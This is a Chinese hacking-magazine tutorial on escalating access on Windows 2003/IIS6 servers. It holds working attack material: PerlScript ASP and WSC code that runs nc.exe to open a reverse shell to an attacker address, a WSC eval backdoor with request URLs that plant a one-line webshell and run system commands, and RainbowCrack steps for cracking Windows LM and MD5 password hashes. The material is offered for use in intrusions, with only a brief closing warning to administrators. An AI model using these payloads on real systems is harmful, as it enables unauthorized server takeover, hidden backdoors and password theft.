作者:NP
本文已发于 非安全
作者:NetPatch
继11期和12期的两篇介绍Hacking中的小命令的后,在LCX大哥的淫威下,偶只能继续科普生涯了。长话短说,我们直接进入正题。
以下内容测试环境均为2K3+IIS6
一.Perl、python环境的利用!
话 说Perl环境,除了服务器支持PL这个扩展映射外,我们一般无法使用Perl去做一些想做的事情。比如,当旁注进入服务器,却因服务器执行不了命令而 原地踏步,无法继续向最高权限前进。特别是现在国内的虚拟机,大部分都是如此,让小菜们很是头疼。所以今天NP就来讲讲被一般人忽视的Perl环境。首 先,Perl环境,可以让我们利用的,是环境变量和目录的权限疏忽,这个可以参考我07年10期写的《谈环境变量在Hacking中的利用》!其次,也是 被一般人遗忘的技巧,虽然服务器不支持PL扩展映射,但是安装ActivePerl后默认支持perlscript,于是我们用 perlscript写ASP文件,在ASP里用Perlscript的内部函数来执行命令,或者做些Perlscript能做的事情。但是权限任然是 ASP的来宾权限,具体权限分配以及原理可以参考08年12期我写的《小谈WIN系统Hacking中的小命令》
我们来举例说明下。
<%@Language=PerlScript%> #@Language=PerlScript  这句表明这一页的ASP脚本所使用的脚本语言为Perlscript #由于是Perl,所以注释是用井号 <% system("e://wwwroot//cmd.exe /c e://wwwroot//nc.exe -e cmd.exe -v 192.168.8.100 443"); #用system函数执行命令 #exec("e://wwwroot//cmd.exe /c e://wwwroot//nc.exe -e cmd.exe -v 192.168.8.100 443"); #用exec函数执行命令 %>
将上面的代码保存为perl.asp,本地NC监听443,执行后,我们的NC会接到目标机器反弹回来的SHELL。如图1所示
clip_p_w_picpath002
换成EXEC也一样,不过我们就不多说明了,举一反三,其他的就留给读者自己去做试验咯。
Python环境也一样。当服务器装有activepython时,我们就可以用@Language定义本页脚本解析语言来切换成Python!
范例:
<%@LANGUAGE="python" CODEPAGE="936"%> <% import os import os.path   rootdir = "e://wwwroot//" for parent, dirnames, filenames in os.walk(rootdir): #case 1: for dirname in dirnames: Response.Write("parent is:"+parent+"&lt;br>") Response.Write("dirname is:"+dirname+"<br>") #case 2 for filename in filenames: #Response.Write("parent is:"+parent+"<br>") Response.Write("filename with full path :"+os.path.join(parent, filename)+"<br>")   %&gt;
运行结果如图2
clip_p_w_picpath004
当然你也可以发挥DIY精神,改造一个好用的基于asp的Perl或者Python的Webshell。这边我就不献丑了,留个读者当复习作业咯。
这边唯一要提示的是,Python对中文支持不是很好,写代码的时候尽量使用英文。
NP在测试时有一想法,不知道在支持perlscript和python服务器上,是否可以利用这两脚本语言的SOCK函数去做些什么事情呢?YY中...
二、WSC “Windows 脚本部件”的巧用。
对于WSC,可能大多数的人,都会感到很陌生!我也是通过LCX大哥的介绍才开始认识这个强大的东东。Windows 脚本部件为您提供了用脚本创建功能强大、可复用的 COM 部件的简便方式。您可以使用任何支持 Microsoft ActiveX Scripting 接口的脚本语言来创建脚本部件。支持这些接口的脚本语言有: JScript、 Microsoft Visual Basic Scripting Edition (VBScript)、PERLScript、PScript 和 Python。
这次我们也不多介绍,就介绍asp调用WSC,用Vbscript和Perlscript,其他的就让读者自己慢慢研究吧
WSC文件内容如下:
<?XML version="1.0"?> <package> <Component> <registration ProgId=lcxNB /> <public> <property name=lcxNNB /> <method name=run> <parameter name=str /> </method> </public> <script language=vbscript runat=server> function run(str) run=eval(str) end function </script> </Component> </package>
或许你对这些不大明白,我们来看下微软给的帮助吧。
<component> 和 <package> 元素    <component> 元素包含的是一个完整的脚本部件定义。在同一个 .wsc 文件中可以出现多个 <component> 元素,但这些元素应包含在一个 <package> 元素内。
<registration> 元素 包括用来将脚本部件注册为 COM 部件的信息。如果宿主应用程序 (如 Microsoft Internet Explorer 5.0)在创建该脚本部件的实例时没有直接使用 Windows 注册表,则该元素不是必需的。
<public> 元素 包含脚本部件所说明的属性、方法和事件的定义。这些定义指向定义在独立的 <script> 块中的变量或函数。
<implements> 元素 给脚本部件指定 COM 接口处理程序,这将确定该脚本部件属于哪种 COM 部件类型。例如,通过指定 <implements type=ASP>,就可以实现 ASP 接口处理程序,并因此在脚本部件中可以访问 ASP 对象模型。
<public> 元素即指定了脚本部件将实现 COM Automation 接口处理程序。因此,对 Automation 处理程序无需创建 <implements> 元素。
注意 脚本部件运行库包括用于 Automation (使用 <public> 元素说明的)、用于 ASP 以及用于 Internet Explorer 5.0 DHTML Behavior 的接口处理程序。其他接口处理程序可以作为外部 DLL 获得。关于附加的接口处理程序和脚本部件的详细信息,请参阅 Microsoft Scripting Technologies Web 站点。
<script> 元素 包含用来实现脚本部件逻辑的脚本,这取决于所创建的 COM 部件类型。例如,如果要创建的是 COM Automation 部件,则可以在 <public> 元素中声明属性、方法和事件,然后用一个或多个 <script> 元素编写脚本来定义这些内容。
我们自己编写的话,经常会写错,不过可爱的微软推出了专门生成WSC部件代码的工具Windows Script Component Wizard,我们只要根据提示输入数据即可。
使用方法看图3、4、5、6、7、8
clip_p_w_picpath005
clip_p_w_picpath006
clip_p_w_picpath007
clip_p_w_picpath008
clip_p_w_picpath009
clip_p_w_picpath010
我们可以将WSC文件随便改名,然后在ASP里指定就可以了。
我们再来看下我们调用的ASP文件内容
<%GetObject("script:" Server.MapPath("b.jpg")).run(request(chr(36)))%> 2k和2k3都可以使用 <%GetObject("script:").run(request(chr(36)))%> 只能2K下使用,2K3不支持远程调用 WSC.asp?$=CreateObject("Scripting.FileSystemObject").opentextfile("e:\wwwroot\new_webshell.asp",8,true).WriteLine("<%25eval(request(chr(36)))%25>")
访问上面给出的地址,就可以往e:\wwwroot\目录写入一句话webshell
WSC.asp?$=CreateObject("WScript.Shell").run("e:\wwwroot\cmd.exe /c net user&gt;e:\wwwroot\cmd.txt")
用此以上URL访问,就可以用Wscript.sehll执行命令
由于我们是调用VBSCRIPT,所以都是以VBSCRIPT的环境来执行的,也就是说,不支持ASP里的response request server.mappath等函数,参数传递是个问题。
我们再来看看perlscript
<?xml version="1.0"?> <component> <registration progid="SimpleASP.WSC"/>   <public> <method name="Test"/> </public>   <implements type="ASP"/> <script language="PerlScript"> <![CDATA[ sub Test { exec("e:\\wwwroot\\cmd.exe /c e:\\wwwroot\\nc.exe -e cmd.exe -v 192.168.8.100 443"); } ]]> </script> </component>
唯一不同的是,我们用language指定了脚本解析语言为PerlScript(再强调下,需要服务器支持Perlscript)
当我们把下面代码保存为ASP文件,并访问时,即可获得一个反弹SHELL。
<%GetObject("script:" Server.MapPath("SimpleASP.WSC")).Test%>
三、RainBowCrack的使用
相信不少朋友进入目标服务器后都曾为管理员密码的事伤过脑筋吧。又是GINA又是HASH的。往常,很多人采用GINA记录管理员登陆密码以 达到继续*** 的目的,或者用LC5破解LM Hash,但是LC5是采用普通的暴力破解,所以耗时费力,效率太低。早在一年半前我就开始享受RainBowCrack带来的效率。现在国内也开始慢慢 普及用Rainbowcrack了。
RainbowCrack是一款国人开发的密码破译工具,它的设计思路基于快速时间——内存平衡技术(Time-Memory Trade-Off Technique),简单来说就是它在进行密文解密时不是逐条来进行解密操作的,而是在解密前先生成一份完整的明文到密文的对照表,再一次批量对密文进 行解密。RainbowCrack代表了目前解密技术的一个新的发展方向,它的诞生也使得广泛使用的MD5算法和Windows的LM算法生成的密文在极 短的时间内得到破译,而且破译的成功率也达到了破纪录的水平。
虽然rainbowcrack用彩虹表跑密码的速度很快,但是创建彩虹表可能要花费数小时、数天甚至好几个月的时间。还好网络上早有组织在从 事彩虹表的制作。如比较出名的www.freerainbowtables.com,很多的网络自愿者,自己利用电脑空余时间或空余的系统资源去生成字 典,并上传到服务器。我们可以从网络上下载到一些免费的彩虹表.
RainbowCrack的最新版本为1.2,但它不支持多线程操作!这个工具可以在地址http://www.antsight.com/zsl/rainbowcrack/下载。RainbowCrack包含了下述实用程序:
rtgen.exe——彩虹表生成器,生成口令、散列值对照表。
rtsort.exe——排序彩虹表,为rcrack.exe提供输入。
rcrack.exe——使用排好序的彩虹表进行口令破解。
rtdump.exe——彩虹表转储
我们首先来看下 彩虹表生成器 rtgen.exe 的使用
rtgen hash_algorithm \
plain_charset plain_len_min plain_len_max \
rainbow_table_index \
rainbow_chain_length rainbow_chain_count \
file_title_suffixrtgen hash_algorithm \
plain_charset plain_len_min plain_len_max \
rainbow_table_index \
-bench
具体参数详情 如图9所示
clip_p_w_picpath011
彩虹表生成器的命令行示例
rtgen lm numeric 1 7 0 100 16 lmhash
lm 为我们要的散列算法(Windows口令的散列方法)
numeric 为明文所用的字符集
1 为明文的最小长度
7 为明文的最大长度
0 为彩虹表的索引
100 为彩虹链长度
16 为要生成的彩虹链的个数
Lmhash 为添加到文件标题后面的字符串,用于书写彩虹表的注释
当彩虹表生成后,为了加快彩虹表的查找速度,我们需要使用彩虹表排序程序(rtsort.exe)进行排序!
rtsort的命令很简单,参数就是彩虹表文件名
rtsort rainbow_table_pathname
经过几分钟的排序后,我们就可以用生成的字典去跑密码了
rcrack *.rt -f hashes.txt
把Hash放到hashes.txt文本中,这样我们可以跑批量的hash散列!
效果如图10所示
clip_p_w_picpath013
总结来说,这些技术其实在网络上以及早有出没,只不过,相对在国内相对比较少罢了。只有想不到,没有做不到。只要加以改造,就可以让这些技术成为 Hacking中的又一利器!同时也告诫管理员朋友,需要注意的事项。并不是禁止了WSH、SA等组建就不能执行命令的!也并不是服务器不支持PL等扩展 映射就没办法使用的。
HASH散列随着时间和技术的发展也不是遥不可及的!技术和物理条件,缩短了我们爆破的时间,提高了Hacking的效率!